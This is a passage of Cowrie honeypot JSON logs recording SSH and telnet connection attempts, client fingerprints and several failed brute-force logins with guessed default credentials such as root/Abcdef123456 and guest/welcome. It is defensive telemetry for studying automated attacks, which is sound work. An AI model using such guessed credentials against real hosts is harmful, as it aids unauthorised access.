roup16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:52.766215Z","src_ip":"165.22.63.98","session":"19084d0becc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51826,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7c76243184a","protocol":"telnet","message":"New connection: 134.209.8.29:51826 (159.203.135.109:23) [session: d7c76243184a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:53.204569Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"welcome","message":"login attempt [guest/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:53.748186Z","src_ip":"165.22.63.98","session":"19084d0becc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":45412,"dst_ip":"159.203.135.109","dst_port":23,"session":"d975f363c11f","protocol":"telnet","message":"New connection: 134.209.8.29:45412 (159.203.135.109:23) [session: d975f363c11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:54.501655Z"}
{"eventid":"cowrie.session.closed","duration":7.484661817550659,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:54.601304Z","src_ip":"134.209.8.29","session":"05f1fa665a71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.465717315673828,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:54.605035Z","src_ip":"134.209.8.29","session":"0b169d82d8d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:54.989321Z","src_ip":"165.22.63.98","session":"19084d0becc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.3663012981414795,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:55.532214Z","src_ip":"134.209.8.29","session":"94d5eaec91de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51834,"dst_ip":"159.203.135.109","dst_port":23,"session":"e42e538e519f","protocol":"telnet","message":"New connection: 134.209.8.29:51834 (159.203.135.109:23) [session: e42e538e519f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:01:55.589001Z"}
{"eventid":"cowrie.session.closed","duration":5.641977310180664,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:00.143542Z","src_ip":"134.209.8.29","session":"d975f363c11f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55160,"dst_ip":"159.203.135.109","dst_port":23,"session":"d404ca77fc29","protocol":"telnet","message":"New connection: 134.209.8.29:55160 (159.203.135.109:23) [session: d404ca77fc29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:06.606754Z"}
{"eventid":"cowrie.session.closed","duration":11.502471685409546,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:07.091374Z","src_ip":"134.209.8.29","session":"e42e538e519f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":57888,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b13ff7f935f","protocol":"ssh","message":"New connection: 148.216.28.11:57888 (10.17.0.5:22) [session: 1b13ff7f935f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:07.423864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:07.428389Z","src_ip":"148.216.28.11","session":"1b13ff7f935f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:07.495271Z","src_ip":"148.216.28.11","session":"1b13ff7f935f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"xobv","message":"login attempt [vbox/xobv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:07.798301Z","src_ip":"148.216.28.11","session":"1b13ff7f935f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:08.869309Z","src_ip":"148.216.28.11","session":"1b13ff7f935f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55172,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd6c85bfe3b2","protocol":"telnet","message":"New connection: 134.209.8.29:55172 (159.203.135.109:23) [session: fd6c85bfe3b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:09.011495Z"}
{"eventid":"cowrie.session.closed","duration":6.342808961868286,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:12.949443Z","src_ip":"134.209.8.29","session":"d404ca77fc29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.002756357193,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:14.366872Z","src_ip":"134.209.8.29","session":"af8eda00a4d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":49550,"dst_ip":"159.203.135.109","dst_port":23,"session":"91c816150653","protocol":"telnet","message":"New connection: 134.209.8.29:49550 (159.203.135.109:23) [session: 91c816150653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:23.760313Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":49558,"dst_ip":"159.203.135.109","dst_port":23,"session":"14f740a11500","protocol":"telnet","message":"New connection: 134.209.8.29:49558 (159.203.135.109:23) [session: 14f740a11500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:26.620327Z"}
{"eventid":"cowrie.session.closed","duration":43.13318586349487,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:36.337600Z","src_ip":"134.209.8.29","session":"d7c76243184a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":36316,"dst_ip":"159.203.135.109","dst_port":22,"session":"a344e59bba5e","protocol":"ssh","message":"New connection: 187.141.71.166:36316 (159.203.135.109:22) [session: a344e59bba5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:40.058329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:40.062801Z","src_ip":"187.141.71.166","session":"a344e59bba5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:40.182799Z","src_ip":"187.141.71.166","session":"a344e59bba5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"qwerty","message":"login attempt [user2/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:40.698232Z","src_ip":"187.141.71.166","session":"a344e59bba5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42490,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3b61e2616d4","protocol":"telnet","message":"New connection: 134.209.8.29:42490 (159.203.135.109:23) [session: a3b61e2616d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:41.128812Z"}
{"eventid":"cowrie.session.closed","duration":51.25193905830383,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:41.689902Z","src_ip":"134.209.8.29","session":"31109ffec170","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:41.821228Z","src_ip":"187.141.71.166","session":"a344e59bba5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58836,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad5cf1cb5f31","protocol":"telnet","message":"New connection: 134.209.8.29:58836 (159.203.135.109:23) [session: ad5cf1cb5f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:43.811814Z"}
{"eventid":"cowrie.session.closed","duration":3.1039390563964844,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:46.915641Z","src_ip":"134.209.8.29","session":"ad5cf1cb5f31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58848,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d483486f368","protocol":"telnet","message":"New connection: 134.209.8.29:58848 (159.203.135.109:23) [session: 3d483486f368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:52.028944Z"}
{"eventid":"cowrie.session.closed","duration":1.7795627117156982,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:53.808401Z","src_ip":"134.209.8.29","session":"3d483486f368","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":47734,"dst_ip":"10.17.0.5","dst_port":22,"session":"60ef75d56410","protocol":"ssh","message":"New connection: 148.216.28.11:47734 (10.17.0.5:22) [session: 60ef75d56410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:53.916300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:53.921321Z","src_ip":"148.216.28.11","session":"60ef75d56410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:53.989433Z","src_ip":"148.216.28.11","session":"60ef75d56410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"qwerty","message":"login attempt [kafka/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:54.290892Z","src_ip":"148.216.28.11","session":"60ef75d56410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:55.362025Z","src_ip":"148.216.28.11","session":"60ef75d56410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":41758,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c0abacca81f","protocol":"ssh","message":"New connection: 165.22.63.98:41758 (159.203.135.109:22) [session: 3c0abacca81f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:56.123260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:56.128927Z","src_ip":"165.22.63.98","session":"3c0abacca81f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34620,"dst_ip":"159.203.135.109","dst_port":23,"session":"260c90252d14","protocol":"telnet","message":"New connection: 134.209.8.29:34620 (159.203.135.109:23) [session: 260c90252d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:56.309104Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:56.370713Z","src_ip":"165.22.63.98","session":"3c0abacca81f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcdef123456","message":"login attempt [root/Abcdef123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:57.374058Z","src_ip":"165.22.63.98","session":"3c0abacca81f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:02:58.615726Z","src_ip":"165.22.63.98","session":"3c0abacca81f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.574334144592285,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:02.883203Z","src_ip":"134.209.8.29","session":"260c90252d14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51418,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8adacb46631","protocol":"telnet","message":"New connection: 134.209.8.29:51418 (159.203.135.109:23) [session: f8adacb46631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:05.143358Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34632,"dst_ip":"159.203.135.109","dst_port":23,"session":"776612718fa7","protocol":"telnet","message":"New connection: 134.209.8.29:34632 (159.203.135.109:23) [session: 776612718fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:05.252727Z"}
{"eventid":"cowrie.session.closed","duration":38.73040556907654,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:05.350575Z","src_ip":"134.209.8.29","session":"14f740a11500","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51422,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb454c349382","protocol":"telnet","message":"New connection: 134.209.8.29:51422 (159.203.135.109:23) [session: cb454c349382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:05.357824Z"}
{"eventid":"cowrie.session.closed","duration":65.56629800796509,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:14.577691Z","src_ip":"134.209.8.29","session":"fd6c85bfe3b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.157089948654175,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:24.917219Z","src_ip":"134.209.8.29","session":"91c816150653","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56714,"dst_ip":"159.203.135.109","dst_port":23,"session":"44c58486f41c","protocol":"telnet","message":"New connection: 134.209.8.29:56714 (159.203.135.109:23) [session: 44c58486f41c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:28.709720Z"}
{"eventid":"cowrie.session.closed","duration":1.3797907829284668,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:30.089417Z","src_ip":"134.209.8.29","session":"44c58486f41c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34626,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0605b71908c","protocol":"telnet","message":"New connection: 134.209.8.29:34626 (159.203.135.109:23) [session: e0605b71908c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:32.235223Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":39126,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8ca7160aec1","protocol":"telnet","message":"New connection: 194.233.64.34:39126 (159.203.135.109:23) [session: f8ca7160aec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:33.205020Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56720,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfbee93e2898","protocol":"telnet","message":"New connection: 134.209.8.29:56720 (159.203.135.109:23) [session: dfbee93e2898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:33.301277Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":59316,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0b282b436e6","protocol":"ssh","message":"New connection: 187.141.71.166:59316 (159.203.135.109:22) [session: e0b282b436e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:33.503315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:33.508103Z","src_ip":"187.141.71.166","session":"e0b282b436e6","protocol":"ssh"}
